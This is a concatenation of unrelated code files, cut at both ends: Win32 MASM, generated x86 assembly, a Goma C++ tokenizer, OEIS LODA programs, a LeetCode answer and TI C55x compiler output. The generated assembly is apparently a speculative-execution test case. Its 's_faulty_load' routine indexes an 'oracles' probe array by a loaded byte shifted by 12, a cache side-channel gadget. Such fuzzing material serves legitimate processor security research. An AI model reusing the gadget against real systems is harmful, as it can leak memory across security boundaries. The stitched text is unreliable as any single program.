0 .endif invoke DefWindowProc,hWin,uMsg,wParam,lParam ret WndProc endp ; ######################################################################## TopXY proc wDim:DWORD, sDim:DWORD shr sDim, 1 ; divide screen dimension by 2 shr wDim, 1 ; divide window dimension by 2 mov eax, wDim ; copy window dimension into eax sub sDim, eax ; sub half win dimension from half screen dimension return sDim TopXY endp ; ######################################################################## Paint_Proc proc hWin:DWORD, hDC:DWORD LOCAL caW :DWORD LOCAL caH :DWORD LOCAL tbH :DWORD LOCAL sbH :DWORD LOCAL Rct :RECT invoke GetClientRect,hWin,ADDR Rct m2m caW, Rct.right m2m caH, Rct.bottom invoke GetWindowRect,hToolBar,ADDR Rct mov eax, Rct.bottom sub eax, Rct.top mov tbH, eax invoke GetWindowRect,hStatus,ADDR Rct mov eax, Rct.bottom sub eax, Rct.top mov sbH, eax mov eax, caH sub eax, sbH mov caH, eax mov Rct.left, 0 m2m Rct.top, tbH m2m Rct.right, caW m2m Rct.bottom, caH invoke DrawEdge,hDC,ADDR Rct,EDGE_SUNKEN,BF_RECT return 0 Paint_Proc endp ; ######################################################################## end start
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1acc8, %rbx nop and $6821, %rbp mov $0x6162636465666768, %rax movq %rax, %xmm2 movups %xmm2, (%rbx) nop nop nop nop nop cmp $28351, %rcx lea addresses_UC_ht+0xd704, %rsi lea addresses_UC_ht+0xe84, %rdi and $28563, %r14 mov $44, %rcx rep movsq nop nop and %rsi, %rsi lea addresses_UC_ht+0x9b04, %rax xor $44376, %r14 mov $0x6162636465666768, %rbx movq %rbx, (%rax) nop xor %rcx, %rcx lea addresses_D_ht+0x1bfc8, %rsi nop nop nop nop nop sub $38954, %rdi movb $0x61, (%rsi) nop cmp %rcx, %rcx lea addresses_normal_ht+0x14904, %rax nop nop nop nop nop xor %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, (%rax) nop add %rdi, %rdi lea addresses_WC_ht+0xc0c4, %rsi lea addresses_WC_ht+0x14b04, %rdi nop nop nop cmp $16091, %r8 mov $79, %rcx rep movsb and $8330, %rbp lea addresses_normal_ht+0x19480, %rbp add $11703, %rdi movw $0x6162, (%rbp) nop nop nop nop lfence lea addresses_WT_ht+0xf3a4, %rdi and %rcx, %rcx movl $0x61626364, (%rdi) nop nop nop nop nop inc %rsi lea addresses_normal_ht+0x117d4, %rdi nop nop nop nop nop cmp $15828, %rbx mov $0x6162636465666768, %r14 movq %r14, (%rdi) nop nop nop nop nop cmp $8278, %rsi lea addresses_normal_ht+0x9344, %rsi nop nop sub $12885, %r8 movb $0x61, (%rsi) nop add %rbp, %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r13 push %r9 push %rax push %rbp push %rcx push %rsi // Faulty Load lea addresses_PSE+0x4304, %rbp nop cmp %r9, %r9 movb (%rbp), %cl lea oracles, %rsi and $0xff, %rcx shlq $12, %rcx mov (%rsi,%rcx,1), %rcx pop %rsi pop %rcx pop %rbp pop %rax pop %r9 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': True, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
// Copyright 2017 The Goma Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "cpp_tokenizer.h" #ifndef NO_SSE2 #include <emmintrin.h> #endif // NO_SSE2 #ifdef _WIN32 #include <intrin.h> #endif #include "absl/base/macros.h" #include "absl/strings/ascii.h" #include "compiler_specific.h" #include "glog/logging.h" namespace { #ifndef NO_SSE2 #ifdef _WIN32 static inline int CountZero(int v) { unsigned long r; _BitScanForward(&r, v); return r; } #else static inline int CountZero(int v) { return __builtin_ctz(v); } #endif // __popcnt (on MSVC) emits POPCNT. Some engineers are still using older // machine that does not have POPCNT. So, we'd like to avoid __popcnt. // clang-cl.exe must have __builtin_popcunt, so use it. // For cl.exe, use this somewhat fast algorithm. // See b/65465347 #if defined(_WIN32) && !defined(__clang__) static inline int PopCount(int v) { v = (v & 0x55555555) + (v >> 1 & 0x55555555); v = (v & 0x33333333) + (v >> 2 & 0x33333333); v = (v & 0x0f0f0f0f) + (v >> 4 & 0x0f0f0f0f); v = (v & 0x00ff00ff) + (v >> 8 & 0x00ff00ff); return (v & 0x0000ffff) + (v >>16 & 0x0000ffff); } #else static inline int PopCount(int v) { return __builtin_popcount(v); } #endif typedef ALIGNAS(16) char aligned_char16[16]; const aligned_char16 kNewlinePattern = { 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, }; const aligned_char16 kSlashPattern = { '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', '/', }; const aligned_char16 kSharpPattern = { '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', }; #endif // NO_SSE2 } // anonymous namespace namespace devtools_goma { // static bool CppTokenizer::TokenizeAll(const std::string& str, SpaceHandling space_handling, ArrayTokenList* result) { std::unique_ptr<Content> content = Content::CreateFromString(str); CppInputStream stream(content.get(), "<content>"); std::string error_reason; ArrayTokenList tokens; while (true) { CppToken token; if (!NextTokenFrom(&stream, space_handling, &token, &error_reason)) { break; } if (token.type == CppToken::END) { break; } tokens.push_back(std::move(token)); } if (!error_reason.empty()) { LOG(ERROR) << "failed to tokenize:" << " input=" << str << " error=" << error_reason; return false; } *result = std::move(tokens); return true; } // static bool CppTokenizer::NextTokenFrom(CppInputStream* stream, SpaceHandling space_handling, CppToken* token, std::string* error_reason) { for (;;) { const char* cur = stream->cur(); int c = stream->GetChar(); if (c == EOF) { *token = CppToken(CppToken::END); return true; } if (c >= 128) { *token = CppToken(CppToken::PUNCTUATOR, static_cast<char>(c)); return true; } if (IsCppBlank(c)) { if (space_handling == SpaceHandling::kSkip) { stream->SkipWhiteSpaces(); continue; } *token = CppToken(CppToken::SPACE, static_cast<char>(c)); return true; } int c1 = stream->PeekChar(); switch (c) { case '/': if (c1 == '/') { SkipUntilLineBreakIgnoreComment(stream); *token = CppToken(CppToken::NEWLINE); return true; } if (c1 == '*') { stream->Advance(1, 0); if (!SkipComment(stream, error_reason)) { *token = CppToken(CppToken::END); return false; } *token = CppToken(CppToken::SPACE, ' '); return true; } *token = CppToken(CppToken::DIV, '/'); return true; case '%': if (c1 == ':') { stream->Advance(1, 0); if (stream->PeekChar(0) == '%' && stream->PeekChar(1) == ':') { stream->Advance(2, 0); *token = CppToken(CppToken::DOUBLESHARP); return true; } *token = CppToken(CppToken::SHARP, '#'); return true; } *token = CppToken(CppToken::MOD, '%'); return true; case '.': if (c1 >= '0' && c1 <= '9') { *token = ReadNumber(stream, c, cur); return true; } if (c1 == '.' && stream->PeekChar(1) == '.') { stream->Advance(2, 0); *token = CppToken(CppToken::TRIPLEDOT); return true; } *token = CppToken(CppToken::PUNCTUATOR, '.'); return true; case '\\': c = stream->GetChar(); if (c != '\r' && c != '\n') { *token = CppToken(CppToken::ESCAPED, static_cast<char>(c)); return true; } if (c == '\r' && stream->PeekChar() == '\n') stream->Advance(1, 1); break; case '"': { *token = CppToken(CppToken::STRING); if (!ReadString(stream, token, error_reason)) { return false; } return true; } case '\'': if (ReadCharLiteral(stream, token)) { return true; } // Non-ended single quotation is valid in preprocessor. // e.g. 'A will be PUNCTUATOR '\'' and IDENTIFIER('A). ABSL_FALLTHROUGH_INTENDED; default: if (c == '_' || c == '$' || absl::ascii_isalpha(c)) { *token = ReadIdentifier(stream, cur); return true; } if (c >= '0' && c <= '9') { *token = ReadNumber(stream, c, cur); return true; } if (c1 == EOF) { *token = CppToken(TypeFrom(c, 0), static_cast<char>(c)); return true; } if ((c1 & ~0x7f) == 0 && TypeFrom(c, c1) != CppToken::PUNCTUATOR) { stream->Advance(1, 0); *token = CppToken(TypeFrom(c, c1), static_cast<char>(c), static_cast<char>(c1)); return true; } *token = CppToken(TypeFrom(c, 0), static_cast<char>(c)); return true; } } } // static bool CppTokenizer::ReadStringUntilDelimiter(CppInputStream* stream, std::string* result_str, char delimiter, std::string* error_reason) { const char* begin = stream->cur(); for (;;) { int c = stream->PeekChar(); if (c == EOF) { return true; } if (c == delimiter) { const char* cur = stream->cur() - 1; stream->Advance(1, 0); if (*cur != '\\') { result_str->append(begin, stream->cur() - begin - 1); return true; } } else if (c == '\n') { const char* cur = stream->cur() - 1; stream->Advance(1, 1); cur -= (*cur == '\r'); if (*cur != '\\') { *error_reason = "missing terminating character"; return false; } result_str->append(begin, stream->cur() - begin - 2); begin = stream->cur(); } else { stream->Advance(1, 0); } } } // static CppToken CppTokenizer::ReadIdentifier(CppInputStream* stream, const char* begin) { CppToken token(CppToken::IDENTIFIER); for (;;) { int c = stream->GetChar(); if (absl::ascii_isalnum(c) || c == '_' || c == '$' || (c == '\\' && HandleLineFoldingWithToken(stream, &token, &begin))) { continue; } token.Append(begin, stream->GetLengthToCurrentFrom(begin, c)); stream->UngetChar(c); return token; } } // (6.4.2) Preprocessing numbers // pp-number : // digit // .digit // pp-number digit // pp-number nondigit // pp-number [eEpP] sign ([pP] is new in C99) // pp-number . // // static CppToken CppTokenizer::ReadNumber(CppInputStream* stream, int c0, const char* begin) { CppToken token(CppToken::NUMBER); bool maybe_int_constant = (c0 != '.'); int base = 10; int value = 0; std::string suffix; int c; // Handle base prefix. if (c0 == '0') { base = 8; int c1 = stream->PeekChar(); if (c1 == 'x' || c1 == 'X') { stream->Advance(1, 0); base = 16; } } else { value = c0 - '0'; } if (maybe_int_constant) { // Read the digits part. c = absl::ascii_tolower(stream->GetChar()); while ((c >= '0' && c <= ('0' + std::min(9, base - 1))) || (base == 16 && c >= 'a' && c <= 'f')) { value = value * base + ((c >= 'a') ? (c - 'a' + 10) : (c - '0')); c = absl::ascii_tolower(stream->GetChar()); } stream->UngetChar(c); } // (digit | [a-zA-Z_] | . | [eEpP][+-])* for (;;) { c = stream->GetChar(); if (c == '\\' && HandleLineFoldingWithToken(stream, &token, &begin)) { continue; } if ((c >= '0' && c <= '9') || c == '.' || c == '_') { maybe_int_constant = false; continue; } c = absl::ascii_tolower(c); if (c >= 'a' && c <= 'z') { if (maybe_int_constant) { suffix += static_cast<char>(c); } if (c == 'e' || c == 'p') { int c1 = stream->PeekChar(); if (c1 == '+' || c1 == '-') { maybe_int_constant = false; stream->Advance(1, 0); } } continue; } break; } token.Append(begin, stream->GetLengthToCurrentFrom(begin, c)); stream->UngetChar(c); if (maybe_int_constant && (suffix.empty() || IsValidIntegerSuffix(suffix))) { token.v.int_value = value; } return token; } // static bool CppTokenizer::ReadString(CppInputStream* stream, CppToken* result_token, std::string* error_reason) { CppToken token(CppToken::STRING); if (!ReadStringUntilDelimiter(stream, &token.string_value, '"', error_reason)) { return false; } *result_token = std::move(token); return true; } int hex2int(int ch) { if (ch >= '0' && ch <= '9') { return ch - '0'; } if (ch >= 'a' && ch <= 'f') { return ch - 'a' + 10; } return ch - 'A' + 10; } // http://www.iso-9899.info/n1256.html#6.4.4.4 // static bool CppTokenizer::ReadCharLiteral(CppInputStream* stream, CppToken* result_token) { // TODO: preserve original literal in token.string_value? CppToken token(CppToken::CHAR_LITERAL); const char* cur = stream->cur(); const ptrdiff_t cur_len = stream->end() - cur; if (cur_len >= 3 && cur[0] == '\\' && cur[2] == '\'') { switch (cur[1]) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': // \ octal-digit token.v.int_value = cur[1] - '0'; break; case '\'': token.v.int_value = '\''; break; case '"': token.v.int_value = '"'; break; case '?': token.v.int_value = '?'; break; case '\\': token.v.int_value = '\\'; break; case 'a': token.v.int_value = '\a'; break; case 'b': token.v.int_value = '\b'; break; case 'f': token.v.int_value = '\f'; break; case 'n': token.v.int_value = '\n'; break; case 'r': token.v.int_value = '\r'; break; case 't': token.v.int_value = '\t'; break; case 'v': token.v.int_value = '\v'; break; default: LOG(ERROR) << "Unexpected escaped char literal?: " << cur[1] << " in line " << stream->line() << " of file: " << stream->filename(); return false; } stream->Advance(3, 0); } else if (cur_len >= 2 && cur[0] != '\\' && cur[0] != '\'' && cur[0] != '\n' && cur[1] == '\'') { // c-char token.v.int_value = cur[0]; stream->Advance(2, 0); } else if (cur_len >= 5 && cur[0] == '\\' && cur[1] == 'x' && absl::ascii_isxdigit(cur[2]) && absl::ascii_isxdigit(cur[3]) && cur[4] == '\'') { // \x hexadecimal-digit hexadecimal-digit token.v.int_value = hex2int(cur[2]) << 4 | hex2int(cur[3]); stream->Advance(5, 0); } else if (cur_len >= 4 && cur[0] == '\\' && cur[1] >= '0' && cur[1] < '8' && cur[2] >= '0' && cur[2] < '8' && cur[3] == '\'') { // \ octal-digit octal-digit token.v.int_value = (cur[1] - '0') << 3 | (cur[2] - '0'); stream->Advance(4, 0); } else if (cur_len >= 5 && cur[0] == '\\' && cur[1] >= '0' && cur[1] < '8' && cur[2] >= '0' && cur[2] < '8' && cur[3] >= '0' && cur[3] < '8' && cur[4] == '\'') { // \ octal-digit octal-digit octal-digit token.v.int_value = (cur[1] - '0') << 6 | (cur[2] - '0') << 3 | (cur[3] - '0'); stream->Advance(5, 0); } else if (cur_len >= 3 && cur[0] != '\'' && cur[0] != '\\' && cur[1] != '\'' && cur[1] != '\\' && cur[2] == '\'') { // c-char-sequence // support only 2 char sequence here // Windows winioctl.h uses such sequence. http://b/74048713 // winioctl.h in win_sdk // #define IRP_EXT_TRACK_OFFSET_HEADER_VALIDATION_VALUE 'TO' token.v.int_value = (cur[0] << 8) | cur[1]; stream->Advance(3, 0); } else if (cur_len >= 5 && cur[0] != '\'' && cur[0] != '\\' && cur[1] != '\'' && cur[1] != '\\' && cur[2] != '\'' && cur[2] != '\\' && cur[3] != '\'' && cur[3] != '\\' && cur[4] == '\'') { // c-char-sequence // support only 4 char sequence here. // MacOSX system header uses such sequence. http://b/74048713 // - PMPrintAETypes.h in PrintCore.framework // #define kPMPrintSettingsAEType 'pset' // etc // - Debugging.h in CarbonCore.framework // #define COMPONENT_SIGNATURE '?*?*' // // The value of an integer character constant containing more than // one character (e.g., 'ab'), or containing a character or escape // sequence that does not map to a single-byte execution character, // is implementation-defined. token.v.int_value = (cur[0] << 24) | (cur[1] << 16) | (cur[2] << 8) | cur[3]; stream->Advance(5, 0); } else { // TODO: Support other literal form if necessary. LOG(ERROR) << "Unsupported char literal?: " << absl::string_view(cur, std::min<ptrdiff_t>(10, cur_len)) << " in line " << stream->line() << " of file: " << stream->filename(); return false; } *result_token = std::move(token); return true; } // static bool CppTokenizer::HandleLineFoldingWithToken(CppInputStream* stream, CppToken* token, const char** begin) { int c = stream->PeekChar(); if (c != '\r' && c != '\n') return false; stream->ConsumeChar(); token->Append(*begin, stream->cur() - *begin - 2); if (c == '\r' && stream->PeekChar() == '\n') stream->Advance(1, 1); *begin = stream->cur(); return true; } // static bool CppTokenizer::SkipComment(CppInputStream* stream, std::string* error_reason) { const char* begin = stream->cur(); #ifndef NO_SSE2 __m128i slash_pattern = *(__m128i*)kSlashPattern; __m128i newline_pattern = *(__m128i*)kNewlinePattern; while (stream->cur() + 16 < stream->end()) { __m128i s = _mm_loadu_si128((__m128i const*)stream->cur()); __m128i slash_test = _mm_cmpeq_epi8(s, slash_pattern); __m128i newline_test = _mm_cmpeq_epi8(s, newline_pattern); int result = _mm_movemask_epi8(slash_test); int newline_result = _mm_movemask_epi8(newline_test); while (result) { int index = CountZero(result); unsigned int shift = (1 << index); result &= ~shift; const char* cur = stream->cur() + index - 1; if (*cur == '*') { unsigned int mask = shift - 1; stream->Advance(index + 1, PopCount(newline_result & mask)); return true; } } stream->Advance(16, PopCount(newline_result)); } #endif // NO_SSE2 for (;;) { int c = stream->PeekChar(); if (c == EOF) { *error_reason = "missing terminating '*/' for comment"; return false; } if (c == '/' && stream->cur() != begin && *(stream->cur() - 1) == '*') { stream->Advance(1, 0); return true; } stream->ConsumeChar(); } } // static bool CppTokenizer::SkipUntilDirective(CppInputStream* stream, std::string* error_reason) { const char* begin = stream->cur(); #ifndef NO_SSE2 // TODO: String index instruction (pcmpestri) would work better // on sse4.2 enabled platforms. __m128i slash_pattern = *(__m128i*)kSlashPattern; __m128i sharp_pattern = *(__m128i*)kSharpPattern; __m128i newline_pattern = *(__m128i*)kNewlinePattern; while (stream->cur() + 16 < stream->end()) { __m128i s = _mm_loadu_si128((__m128i const*)stream->cur()); __m128i slash_test = _mm_cmpeq_epi8(s, slash_pattern); __m128i sharp_test = _mm_cmpeq_epi8(s, sharp_pattern); __m128i newline_test = _mm_cmpeq_epi8(s, newline_pattern); int slash_result = _mm_movemask_epi8(slash_test); int sharp_result = _mm_movemask_epi8(sharp_test); int newline_result = _mm_movemask_epi8(newline_test); int result = slash_result | sharp_result; while (result) { int index = CountZero(result); unsigned int shift = (1 << index); result &= ~shift; unsigned int mask = shift - 1; const char* cur = stream->cur() + index; if (*cur == '/') { int c1 = *(cur + 1); if (c1 == '/') { stream->Advance(index + 2, PopCount(newline_result & mask)); SkipUntilLineBreakIgnoreComment(stream); goto done; } else if (c1 == '*') { stream->Advance(index + 2, PopCount(newline_result & mask)); if (!SkipComment(stream, error_reason)) return false; goto done; } } else if (*cur == '#') { if (IsAfterEndOfLine(cur, stream->begin())) { stream->Advance(index + 1, PopCount(newline_result & mask)); return true; } } } stream->Advance(16, PopCount(newline_result)); done: continue; } #endif // NO_SSE2 for (;;) { int c = stream->PeekChar(); if (c == EOF) return false; if (stream->cur() != begin) { int c0 = *(stream->cur() - 1); if (c0 == '/' && c == '/') { stream->Advance(1, 0); SkipUntilLineBreakIgnoreComment(stream); continue; } if (c0 == '/' && c == '*') { stream->Advance(1, 0); if (!SkipComment(stream, error_reason)) return false; } } if (c == '#') { if (IsAfterEndOfLine(stream->cur(), stream->begin())) { stream->Advance(1, 0); return true; } stream->Advance(1, 0); continue; } stream->ConsumeChar(); } return false; } // static void CppTokenizer::SkipUntilLineBreakIgnoreComment(CppInputStream* stream) { #ifndef NO_SSE2 __m128i newline_pattern = *(__m128i*)kNewlinePattern; while (stream->cur() + 16 < stream->end()) { __m128i s = _mm_loadu_si128((__m128i const*)stream->cur()); __m128i newline_test = _mm_cmpeq_epi8(s, newline_pattern); int newline_result = _mm_movemask_epi8(newline_test); int result = newline_result; while (result) { int index = CountZero(result); unsigned int shift = (1 << index); result &= ~shift; unsigned int mask = shift - 1; const char* cur = stream->cur() + index - 1; cur -= (*cur == '\r'); if (*cur != '\\') { stream->Advance(index + 1, PopCount(newline_result & mask)); return; } } stream->Advance(16, PopCount(newline_result)); } #endif // NO_SSE2 for (;;) { int c = stream->PeekChar(); if (c == EOF) return; if (c == '\n') { const char* cur = stream->cur() - 1; stream->Advance(1, 1); cur -= (*cur == '\r'); if (*cur != '\\') return; } else { stream->Advance(1, 0); } } } // static bool CppTokenizer::IsAfterEndOfLine(const char* cur, const char* begin) { for (;;) { if (cur == begin) return true; int c = *--cur; if (!IsCppBlank(c)) break; } while (begin <= cur) { int c = *cur; if (c == '\n') { if (--cur < begin) return true; cur -= (*cur == '\r'); if (cur < begin || *cur != '\\') return true; --cur; continue; } if (c == '/') { if (--cur < begin || *cur != '*') return false; --cur; bool block_comment_start_found = false; // Move backward until "/*" is found. while (cur - 1 >= begin) { if (*(cur - 1) == '/' && *cur == '*') { cur -= 2; block_comment_start_found = true; break; } --cur; } if (block_comment_start_found) continue; // When '/*' is not found, it's not after end of line. return false; } if (IsCppBlank(c)) { --cur; continue; } return false; } return true; } // static bool CppTokenizer::IsValidIntegerSuffix(const std::string& s) { switch (s.size()) { case 1: return s == "u" || s == "l"; case 2: return s == "ul" || s == "lu" || s == "ll"; case 3: return s == "ull" || s == "llu"; default: return false; } } // static CppToken::Type CppTokenizer::TypeFrom(int c1, int c2) { switch (c1) { case '!': if (c2 == '=') { return CppToken::NE; } break; case '#': if (c2 == 0) { return CppToken::SHARP; } if (c2 == '#') { return CppToken::DOUBLESHARP; } break; case '&': if (c2 == 0) { return CppToken::AND; } if (c2 == '&') { return CppToken::LAND; } break; case '*': if (c2 == 0) { return CppToken::MUL; } break; case '+': if (c2 == 0) { return CppToken::ADD; } break; case '-': if (c2 == 0) { return CppToken::SUB; } break; case '<': if (c2 == 0) { return CppToken::LT; } if (c2 == '<') { return CppToken::LSHIFT; } if (c2 == '=') { return CppToken::LE; } break; case '=': if (c2 == '=') { return CppToken::EQ; } break; case '>': if (c2 == 0) { return CppToken::GT; } if (c2 == '=') { return CppToken::GE; } if (c2 == '>') { return CppToken::RSHIFT; } break; case '\n': if (c2 == 0) { return CppToken::NEWLINE; } break; case '\r': if (c2 == '\n') { return CppToken::NEWLINE; } break; case '^': if (c2 == 0) { return CppToken::XOR; } break; case '|': if (c2 == 0) { return CppToken::OR; } if (c2 == '|') { return CppToken::LOR; } break; } return CppToken::PUNCTUATOR; } } // namespace devtools_goma
; A232165: Cardinality of the Weyl alternation set corresponding to the zero-weight in the adjoint representation of the Lie algebra sp(2n). ; Submitted by Christian Krause ; 0,1,2,3,8,18,37,82,181,392,856,1873,4086,8919,19480,42530,92853,202742,442665,966496,2110240,4607473,10059866,21964555,47957080,104708706,228619317,499163818,1089866333,2379596808,5195573912,11343933537,24768164206,54078416287 mov $1,-2 mov $4,-2 lpb $0 sub $0,1 add $1,$5 sub $3,$4 mov $4,$2 mov $2,$3 mul $2,3 add $2,$1 mov $1,$3 add $5,$4 mov $3,$5 sub $4,2 lpe mov $0,$2 div $0,4
class Solution { public: string replaceDigits(string s) { for(int i=1;i<s.length() ; i+=2) s[i] = s[i-1]+(s[i]-'0'); return s; } };
; A153152: Rotated binary incrementing: For n<2 a(n)=n, if n=(2^k)-1, a(n)=(n+1)/2, otherwise a(n)=n+1. ; 0,1,3,2,5,6,7,4,9,10,11,12,13,14,15,8,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,16,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,32,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,64,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250 add $0,1 mov $1,$0 lpb $0 gcd $0,281474976710656 mul $1,2 lpe div $1,2
;******************************************************************************* ;* TMS320C55x C/C++ Codegen PC v4.4.1 * ;* Date/Time created: Sat Oct 06 06:37:15 2018 * ;******************************************************************************* .compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf .mmregs .cpl_on .arms_on .c54cm_off .asg AR6, FP .asg XAR6, XFP .asg DPH, MDP .model call=c55_std .model mem=large .noremark 5002 ; code respects overwrite rules ;******************************************************************************* ;* GLOBAL FILE PARAMETERS * ;* * ;* Architecture : TMS320C55x * ;* Optimizing for : Speed * ;* Memory : Large Model (23-Bit Data Pointers) * ;* Calls : Normal Library ASM calls * ;* Debug Info : Standard TI Debug Information * ;******************************************************************************* $C$DW$CU .dwtag DW_TAG_compile_unit .dwattr $C$DW$CU, DW_AT_name("../src/timer.c") .dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated") .dwattr $C$DW$CU, DW_AT_TI_version(0x01) .dwattr $C$DW$CU, 